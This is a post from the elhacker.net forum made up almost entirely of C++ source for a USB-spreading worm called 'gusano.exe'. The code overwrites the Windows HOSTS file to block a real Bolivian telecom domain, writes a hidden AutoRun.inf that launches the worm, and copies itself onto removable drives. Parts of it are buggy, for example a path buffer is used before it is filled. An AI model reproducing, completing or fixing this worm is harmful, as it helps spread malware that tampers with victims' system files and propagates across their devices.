Foro de elhacker.net

#include <cstdlib>
#include <iostream>
#include <windows.h>
#include<fstream>
#define PROCESSNAME "gusano.exe" //nombre del proceso

using namespace std;
 
    char me[1024];
    HKEY hKey;
    char *drives[] = {"C:","D:","E:","F:","G:","H:","I:","J:","K:","L:",
                      "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:",
                      "W:","X:","Y:","Z:"};
                      void hst(void)
	{
	char hst[MAX_PATH];
    DWORD byte;
	HANDLE hFile;
	BOOL bSuccess;
	GetSystemDirectory(hst, sizeof(hst));
	 
	strcat(hst, "\\Drivers\\ETC\\HOSTS");
	const char* buffer = "127.0.0.1 www.entel.bo";
	hFile = CreateFile(hst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	bSuccess = WriteFile ( hFile, buffer, strlen(buffer), &byte, NULL);
	CloseHandle(hFile);      
	}

    //busqueda e infeccion del usb
    int FindDrv()
	{
         char *drives;
	 char dirX[MAX_PATH];
	 char path[MAX_PATH];
	 char autorun[MAX_PATH]="AutoRun.inf";
	 ofstream CreAut;
	 HMODULE GetQ;
	 
	   GetQ=GetModuleHandle(NULL);
	    GetModuleFileName(GetQ,path,sizeof(path));
	      CreAut.open(dirX,ios_base::out);
	             CreAut<<"[AutoRun]"<<endl;
	             CreAut<<"open=gusano.exe"<<endl;
	             CreAut<<"shellexecute=gusano.exe"<<endl;
	             CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;
	             CreAut<<"shell=Auto"<<endl;
	      CreAut.close();
	      SetFileAttributes(dirX,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);
	             UINT type= GetDriveType(drives);
                  if(type == DRIVE_REMOVABLE)
                     {
                       strcpy(dirX, drives);
                       strcat(dirX, "\\");
                       strcat(dirX, "gusano.exe");
                       CopyFile(path,dirX,TRUE); 
                     
	                       return 0;
	                     }
	  return 0;
	}
	
int main(int argc, char *argv[])
{
    hst();
    FindDrv();

system("PAUSE");
  // ShellExecute(NULL,"open", PROCESSNAME, NULL, NULL, 0);

    return EXIT_SUCCESS;
}

strcat(hst, "\\Drivers\\ETC\\HOSTS");
..
strcat(dirX, "\\");
..
CreAut<<"shell\\Auto\\command=gusano.exe"<<endl;

http://foro.elhacker.net/analisis_y_diseno_de_malware/srcc_infeccion_usb-t258426.0.html